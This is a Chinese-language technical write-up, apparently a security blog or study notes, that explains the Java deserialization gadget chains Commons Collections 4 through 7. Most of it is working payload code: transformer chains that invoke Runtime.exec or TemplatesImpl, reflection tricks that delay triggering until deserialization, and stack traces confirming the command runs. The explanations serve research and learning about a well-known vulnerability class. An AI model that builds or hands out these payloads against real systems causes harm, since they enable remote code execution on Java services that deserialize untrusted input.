CommonsCollections 4

CC 4 依赖于 commons-collections4 : 4.0,基础版本其实很简单,在 CC 2 TemplatesImpl 链子的基础上将 InvokerTransformer 替换为 CC 3 中使用的 InstantiateTransformer 来触发 newTransformer() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transformer[] transformers = new Transformer[] {  
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);

TreeBag

另一种打法依旧利用 TransformingComparator,只不过找到了 PriorityQueue 之外的替代入口:TreeBag 链条
这里我们对 TransformingComparator.compare Find Usages,跟进到 TreeMap.put

继续 Find Usages 找到 AbstractMapBag.doReadObject

为了触发这个 put 我们至少要在 treeBag 中 add 点数据,否则不会步入循环

最终定位到了 TreeBag.readObject 方法,这显然就是我们想要的

反序列化时,它先通过 in.readObject() 还原出这个 comparator 对象,因此我们构造实例时可以直接传入 TransformingComparator

整体其实也是一种排序,调用 put() 方法将元素放入内部的 TreeMapTreeMap 为了确定位置,调用 comparator.compare(obj1, obj2)
我们下断点过一遍逻辑就好

1
2
3
4
5
6
7
8
9
Transformer[] transformers = new Transformer[] {  
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[0], new Object[0])
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);

TreeBag treeBag = new TreeBag(comparator);
treeBag.add(1);

这里的 add 会调用父类 AbstractMapBag.add,同时触发 put

走到了预期的 compare 方法


整体调用链

1
2
3
4
5
6
7
8
9
10
11
12
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
...
at java.lang.reflect.Method.invoke(Method.java:497)
at org.apache.commons.collections4.functors.InvokerTransformer.transform(InvokerTransformer.java:129)
at org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:112)
at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
at java.util.TreeMap.compare(TreeMap.java:1291)
at java.util.TreeMap.put(TreeMap.java:538)
at org.apache.commons.collections4.bag.AbstractMapBag.add(AbstractMapBag.java:257)
at org.apache.commons.collections4.bag.AbstractMapBag.add(AbstractMapBag.java:241)
at org.apache.commons.collections4.bag.TreeBag.add(TreeBag.java:90)
at org.example.Main.main(Main.java:36)

CommonsCollections 5

CC 5 在 CC 3.1 的基础上实现了无 JDK 版本低限制,即 JDK 8+ 都可打通的链子
这里沿用 CC 1 的思路,但不再通过动态代理触发 LazyMap 的 get 方法,找到了一个新的实现接口类:TiedMapEntry

TiedMapEntry

如果我们将 TiedMapEntry 内部的 map 成员变量设置为一个 LazyMap 实例,那么只要调用 TiedMapEntry.getValue(),就会触发 LazyMap.get()

toString() 方法又会调用 getValue()

1
2
3
public String toString() {  
return getKey() + "=" + getValue();
}

BadAttributeValueExpException

借助这个类,其反序列化的方法中会触发 toString() 方法

只需要反射写入进 val 变量即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Transformer[] transformers = new Transformer[] {  
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<String, String> innerMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Qu43ter");

BadAttributeValueExpException exception = new BadAttributeValueExpException("Qu43ter");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(exception, tiedMapEntry);

调用链

1
2
3
4
5
6
7
8
9
10
11
12
at java.lang.Runtime.exec(Runtime.java:347)
...
at java.lang.reflect.Method.invoke(Method.java:497)
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73)
at org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:131)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
...
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at org.example.Main.main(Main.java:48)

结合 TrAXFilter InstantiateTransformer 打 TemplatesImpl 也是一样的道理

CommonsCollections 6

在 CC 5 中我们利用 toString() 调用 getValue(),这一次则是通过 hashcode 调用

1
2
3
4
5
public int hashCode() {  
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

HashSet

触发 hashCode 则需要用到 HashSet 这个集合类,底层基于 HashMap 实现,用于高效地去重和存储数据;其 readObject 方法中

1
2
3
4
5
for (int i=0; i<size; i++) {  
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}

会将反序列化的对象存入键中,我们跟进 put
为了确定对象应该存放在哪个桶(bucket)里,HashMap 必须先计算 key 的哈希值

1
2
3
public V put(K key, V value) {  
return putVal(hash(key), key, value, false, true);
}

内部会调用 hashCode()

1
2
3
4
static final int hash(Object key) {  
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

现在要做的就是使 keyTiedMapEntry 对象,同时还要避免在构造 Payload 的过程中本地环境提前触发
可以先给 LazyMap 绑定一个“无害”的 Transformer,等 put 操作完成后,再通过反射将真正的 chainedTransformer 替换进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Transformer[] transformers = new Transformer[] {  
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<String, String> innerMap = new HashMap<>();
// 无意义的 ConstantTransformer
Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Qu43ter");

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "Qu43ter");

Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

innerMap.remove("Qu43ter");

put 操作会导致 innerMap 中产生一个 key。在序列化前,需要手动将这个 key 删掉,否则反序列化时 LazyMap.get(key) 发现 key 已存在,就不会触发 factory.transform()

这里会直接跳过,不会步入 if 语句

调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
at java.lang.Runtime.exec(Runtime.java:347)
...
at java.lang.reflect.Method.invoke(Method.java:497)
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73)
at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:120)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.readObject(HashMap.java:1397)
...
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at org.example.Main.main(Main.java:52)

CommonsCollections 7

依旧沿用 LazyMap,但是通过 Hashtable 触发,两者十分相似,其 readObject 方法想必也能利用
其从字节流中恢复数据,并重新构建哈希表时,调用 reconstitutionPut

用于将键值对放入新创建的 table 中。它的逻辑类似于普通的 put 操作,可以看到这里调用了 hashCode()

因此只需要改变一点点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transformer[] transformers = new Transformer[] {  
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<String, String> innerMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Qu43ter");

// 改成 Hashtable 即可
Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put(tiedMapEntry, "Qu43ter");

这和 CC 6 简直就是一个样